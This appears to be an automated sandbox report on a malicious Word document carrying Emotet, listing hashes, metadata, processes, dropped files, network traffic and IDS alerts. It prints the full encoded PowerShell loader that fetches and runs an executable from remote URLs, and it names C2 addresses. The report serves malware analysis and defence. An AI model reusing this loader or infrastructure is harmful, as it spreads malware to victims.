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| File name: | 2019-05-2782342-91.doc |
| Full analysis: | https://app.any.run/tasks/3fa44fd9-dac8-45a9-8c3e-8f9bdfa35ed9 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 20, 2019, 11:48:32 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Cotton, Subject: index, Author: Maiya Von, Comments: Rustic Concrete Soap quantify overriding, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon May 20 07:20:00 2019, Last Saved Time/Date: Mon May 20 07:20:00 2019, Number of Pages: 1, Number of Words: 11, Number of Characters: 63, Security: 0 |
| MD5: | 3A748AEFF08BB3593BD389E5CEC3E9FF |
| SHA1: | C9FBDD5F1A960BDB2766880E5BA2BD2D4313DCFB |
| SHA256: | 383D09E70FF1EEB4237AD4B9191A4163ED92FB1BEC03EF4CBC7C09EBE471827E |
| SSDEEP: | 3072:d77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qGaXX5ujMrIzxv:d77HUUUUUUUUUUUUUUUUUUUT52VJaXXe |
MALICIOUS
Application was dropped or rewritten from another process
- soundser.exe (PID: 3700)
- 881.exe (PID: 3052)
- 881.exe (PID: 2176)
- soundser.exe (PID: 3660)
- soundser.exe (PID: 2372)
Downloads executable files from the Internet
- powershell.exe (PID: 2856)
Emotet process was detected
- soundser.exe (PID: 3700)
- soundser.exe (PID: 3660)
EMOTET was detected
- soundser.exe (PID: 3660)
Connects to CnC server
- soundser.exe (PID: 3660)
Changes the autorun value in the registry
- soundser.exe (PID: 3660)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2856)
Executed via WMI
- powershell.exe (PID: 2856)
PowerShell script executed
- powershell.exe (PID: 2856)
Executable content was dropped or overwritten
- powershell.exe (PID: 2856)
- 881.exe (PID: 2176)
Starts itself from another location
- 881.exe (PID: 2176)
Application launched itself
- soundser.exe (PID: 3660)
Connects to server without host name
- soundser.exe (PID: 3660)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2964)
- soundser.exe (PID: 2372)
Creates files in the user directory
- WINWORD.EXE (PID: 2964)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserTypeLen: | 32 |
|---|---|
| CompObjUserType: | Microsoft Word 97-2003 Document |
| Title: | Cotton |
| Subject: | index |
| Author: | Maiya Von |
| Keywords: | - |
| Comments: | Rustic Concrete Soap quantify overriding |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:20 06:20:00 |
| ModifyDate: | 2019:05:20 06:20:00 |
| Pages: | 1 |
| Words: | 11 |
| Characters: | 63 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Koelpin - Grant |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 73 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Ruecker |
Total processes
42
Monitored processes
7
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2964 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\2019-05-2782342-91.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2856 | powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABSAF8ANwA4ADMAMgAwAD0AJwBJADgAMwA0ADQAMAAnADsAJABHADIAMQAyAF8AMQAzADgAIAA9ACAAJwA4ADgAMQAnADsAJABDADAAMAA3ADMANgA0AD0AJwB1ADQAXwA4ADQAOQBfACcAOwAkAEUANwAyAF8ANAA0ADUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEcAMgAxADIAXwAxADMAOAArACcALgBlAHgAZQAnADsAJABZAF8AXwA5ADYANQAzADgAPQAnAHAAOAAzADIANwA5ADgANAAnADsAJABLADEAOAAyADgANgA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgBgAHcAZQBCAGMAbABgAEkAYABlAE4AVAA7ACQAQQA3AF8AMgAyAF8AMQAyAD0AJwBoAHQAdABwADoALwAvAHQAZQBuAGEAbgB0AHMAYwByAGUAZQBuAGkAbgBnAGEAcwBpAGEALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHoAcABqAGQAdgB5ADEANwAvAEAAaAB0AHQAcAA6AC8ALwBiAHkAcwB0AGUAawBzAHQAaQBsAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB6AG0ANgA0ADgAMQAvAEAAaAB0AHQAcAA6AC8ALwBlAHIAaQBjAC0AbQBhAG4AZABhAGwAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAagA2ADgANwAyADQAOAAxADIALwBAAGgAdAB0AHAAOgAvAC8AYQB2AGkAdAByAG8AbgBzAC4AYwBvAG0ALwB1AG0AYQAtAHMAaQB0AGUALwBpAHMAaQAyAC8AQABoAHQAdABwADoALwAvAGQAZQB2AGUAbABvAHAAaQBuAGcALgBzAG8AdQBsAGIAcgBpAGcAaAB0AHMALgBjAG8AbQAvAHcAcAAvAHMANAA0ADUALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAawAyADQAOAA3AF8AOAAzAD0AJwBYADUANgAyADUANgA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABmADEANABfADAAMQBfADQAIABpAG4AIAAkAEEANwBfADIAMgBfADEAMgApAHsAdAByAHkAewAkAEsAMQA4ADIAOAA2AC4ARABvAFcAbgBMAE8AYQBEAGYASQBMAEUAKAAkAGYAMQA0AF8AMAAxAF8ANAAsACAAJABFADcAMgBfADQANAA1ACkAOwAkAFUANQA3ADUANQA5ADAAPQAnAFcAXwA4ADUANAAyACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARQA3ADIAXwA0ADQANQApAC4ATABlAG4AZwBUAEgAIAAtAGcAZQAgADMAOQA3ADMAMQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACAAJABFADcAMgBfADQANAA1ADsAJABPADMANgA5AF8AMwA4AD0AJwBKADEAOAAxADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAEYAOABfADAAOQA0AD0AJwBaADgAMQAyADUAMwAxAF8AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAcgA3ADUANQA5ADAAPQAnAGYANQA1ADgAMwA1ADIAOQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3052 | "C:\Users\admin\881.exe" | C:\Users\admin\881.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2176 | --5010ccaf | C:\Users\admin\881.exe | 881.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3700 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 881.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3660 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM | ||||
| 2372 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" "C:\Users\admin\AppData\Local\Temp\2454.tmp" | C:\Users\admin\AppData\Local\soundser\soundser.exe | — | soundser.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
Total events
1 810
Read events
1 303
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
10
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRF1B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PLSBX33JLTPCU2MGNGLJ.temp | — | |
MD5:— | SHA256:— | |||
| 2372 | soundser.exe | C:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 2372 | soundser.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 2372 | soundser.exe | C:\Users\admin\Documents\Outlook Files\[email protected] | — | |
MD5:— | SHA256:— | |||
| 2372 | soundser.exe | C:\Users\admin\AppData\Local\Temp\2454.tmp | — | |
MD5:— | SHA256:— | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$19-05-2782342-91.doc | pgc | |
MD5:9963786F8583DEE789A328B186BA2088 | SHA256:07346BD5CFC7096E5B40D862CA52C155B8F5F9B2EC3822340DECAD3280B2858E | |||
| 2856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:16D0FD6E07266B2C15A9D7BC6623F506 | SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B | |||
| 2964 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A885B79A.wmf | wmf | |
MD5:A1759BDA71C3FE0B899A08B657C2643E | SHA256:13AD1498E24AE8D7E6FCE1B4FA1DD9855E865891B48CD56775EC3F351565A6C1 | |||
| 2856 | powershell.exe | C:\Users\admin\881.exe | executable | |
MD5:C41D5F7ADE1A1EB9F9216B2B90EB53EA | SHA256:315B772F4CEE9CE22AE23A59A0ABB252675AEF655BA3E3D06A2F3B282D80768F | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3660 | soundser.exe | POST | — | 80.0.106.83:80 | http://80.0.106.83/stubs/ | GB | — | — | malicious |
3660 | soundser.exe | POST | 200 | 81.143.213.156:7080 | http://81.143.213.156:7080/json/ | GB | bs | 372 Kb | malicious |
2856 | powershell.exe | GET | 200 | 202.71.110.22:80 | http://tenantscreeningasia.com/wp-admin/zpjdvy17/ | MY | executable | 73.0 Kb | suspicious |
3660 | soundser.exe | POST | 200 | 81.143.213.156:7080 | http://81.143.213.156:7080/sess/ | GB | binary | 148 b | malicious |
3660 | soundser.exe | POST | 200 | 216.98.148.157:8080 | http://216.98.148.157:8080/glitch/enable/ringin/merge/ | US | binary | 148 b | malicious |
3660 | soundser.exe | GET | 200 | 216.98.148.157:8080 | http://216.98.148.157:8080/whoami.php | US | text | 12 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2856 | powershell.exe | 202.71.110.22:80 | tenantscreeningasia.com | TM-VADS DC Hosting | MY | suspicious |
3660 | soundser.exe | 81.143.213.156:7080 | — | British Telecommunications PLC | GB | malicious |
3660 | soundser.exe | 80.0.106.83:80 | — | Virgin Media Limited | GB | malicious |
3660 | soundser.exe | 216.98.148.157:8080 | — | CariNet, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
tenantscreeningasia.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2856 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2856 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2856 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3660 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3660 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3660 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
3660 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
10 ETPRO signatures available at the full report